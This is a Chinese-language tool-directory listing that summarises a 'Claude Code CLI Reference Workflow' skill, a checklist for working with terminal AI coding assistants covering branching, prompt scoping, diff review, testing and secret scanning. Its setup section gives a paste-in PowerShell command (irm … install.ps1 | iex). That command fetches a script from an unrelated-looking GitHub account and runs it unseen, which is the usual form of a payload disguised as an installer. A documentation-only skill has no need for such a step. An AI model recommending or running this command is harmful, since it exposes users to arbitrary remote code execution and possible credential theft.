SuperAPI AI 工具集

claude-code-cli-reference-workflow

编程与开发

查看项目

更新于 10-16 10:36

技能介绍

用途

Claude Code CLI Reference Workflow 是 reason-machines/claude-code-skills 集合中的一个技能,提供一套面向命令行 AI 编程助手(terminal 环境下的编码助手)的结构化工作流与检查清单。它不解决某个具体编程问题,而是规范「如何与 AI 编码助手协作」的流程,覆盖项目上下文准备、提示词工程、diff 审查、测试实践与安全提交习惯。

主要能力

该技能围绕以下能力展开:

  • 编码会话前的项目上下文组织;
  • 用清晰提示词与文件路径界定任务范围(prompt scoping);
  • 对 AI 生成的 diff 进行系统化审查;
  • 提交前运行测试与 linter;
  • 保持源码与输出之间的干净分离;
  • 通过环境变量管理敏感数据;
  • 用会话记录模板留存 AI 协作过程。

核心工作流

技能给出六个步骤:

  1. 会话准备(Session Preparation):进入项目根目录,确认分支状态,创建特性分支(如 git checkout -b feature/your-task),并用 git diff --check 确认工作目录干净。
  2. 上下文收集(Context Gathering):列出相关文件(ls -la src/ tests/ docs/)、查看目录结构(tree -L 3 -I 'node_modules|.git')、检查近期提交(git log --oneline -10)、检索 TODO/FIXME(grep -r "TODO\|FIXME" src/)。
  3. 任务界定(Task Scoping):在提示词中写明任务、涉及文件、需求条目与背景。文中对比了「好提示词」(含任务描述、文件列表、编号需求、上下文)与「差提示词」(一句话笼统描述)。
  4. 审查生成变更(Review Generated Changes):提供审查清单,包括 git diff、逐文件 diff、git diff --stat 检查非预期修改,以及用 grep 检索 password/secret/key/token 等敏感词和疑似硬编码值。
  5. 提交前测试(Testing Before Commit):运行 linter(npm run lint / pylint / rubocop)、单元测试(npm test / pytest / cargo test)、集成测试(npm run test:integration)与覆盖率检查(npm run test:coverage)。
  6. 安全提交(Safe Commit Process):用 git add -p 交互式暂存、git diff --staged 复核、撰写描述性提交信息(示例采用 Conventional Commits 风格并附 Refs),再推送到特性分支。

配置实践

技能给出三类配置建议:

  • 项目结构:建议设置 .ai-context/ 目录,内含 prompts/(提示词模板)、sessions/(会话记录)、reviews/(评审笔记),并在 .gitignore 中排除。
  • 上下文文件:创建 .ai-context/project-brief.md,记录技术栈、代码风格、架构与当前约束(如「无速率限制不得调用外部 API」「所有数据库查询必须参数化」)。文中给出 Node.js 18 / Express 4.x / PostgreSQL 14 / Prisma 5.x / Jest 29 的示例内容。
  • 提示词模板:在 .ai-context/prompts/ 中保存可复用提示词,例如 add-endpoint.md,包含端点、用途、待改文件、需求清单等字段。

常见模式

技能归纳了三种实践模式,每种都以命令序列呈现:

  • 新增功能(Feature Addition):建分支 → 读项目简报 → 带细节描述任务 → 审查 diff → 跑测试 → 提交。示例为新增用户 CSV 导出端点。
  • 修复缺陷(Bug Fix):建修复分支 → 用 heredoc 记录 bug 复现与错误信息到 .ai-context/sessions/ → 提供上下文 → 审查修复 → 跑针对性测试 → 跑全量测试验证无回归 → 提交(附 Fixes #123)。
  • 重构(Refactoring):建重构分支 → 明确范围 → 逐文件循环审查变更 → 跑全量测试 → 检查覆盖率未下降 → 提交说明「无行为变更」。

示例与排错

正文给出两个具体代码示例:Node.js/Express 为登录端点添加速率限制(express-rate-limit v6.x,15 分钟 5 次,返回 429),以及 Python/FastAPI 中把非法邮箱抛 ValueError 改为返回 None 并更新测试。每个示例都附有对应的审查清单(配置正确性、路由挂载、测试覆盖场景)。

排错部分覆盖四类常见问题:

  • 输出偏离预期:检查提示词是否具体、文件路径是否明确、上下文是否充分、是否存在冲突指令;建议细化提示词、拆分大任务、给出期望模式的示例代码。
  • 代码风格不一致:跑 linter、对比现有模块风格,在提示词中引用风格指南或使用 --fix。
  • 测试缺失或不足:检查覆盖率、查找未测试文件,在提示词中明确要求测试用例与覆盖率目标。
  • 误改文件:用 git reset HEAD 取消暂存、git checkout -- 丢弃,并在后续提示词中明确「只改哪些文件、不要改 package.json 或配置文件」。
  • 安全顾虑:扫描密钥、SQL 注入风险(query( / execute( / raw()与 XSS 风险(innerHTML / dangerouslySetInnerHTML / eval),提倡使用环境变量(process.env / os.getenv / ENV[]),并明确「绝不提交 .env」。

使用方式

技能文档给出两种安装/获取方式(内容照原样保留):

PowerShell 快速设置:

irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex

手动设置:

git clone https://github.com/SheikhSheave/Claude-Code-CLI-Reference.git
cd Claude-Code-CLI-Reference
cat README.md

此外还提供会话记录模板(记录目标、修改文件、使用的提示词、评审笔记、提交哈希、经验教训)和一张提交前检查清单速查卡(是否已审查 diff、测试是否通过、linter 是否干净、是否含密钥、是否有非预期文件)。

适用场景

适合在终端中使用 AI 编码助手进行日常开发的工程师,尤其是需要团队协作、要求提交可审查、需要控制 AI 改动范围并防止敏感信息进入版本库的场景。也适合作为团队制定 AI 辅助开发规范的参考材料。

限制

该技能为方法论与检查清单性质的文档,本身不提供独立的自动化能力或代码检查工具。其示例以 Node.js/Express、Python/FastAPI、Ruby 等生态为主,其他语言仅列出替代命令。技能的收费、价格、平台支持范围与效果等信息,资料中暂未提供。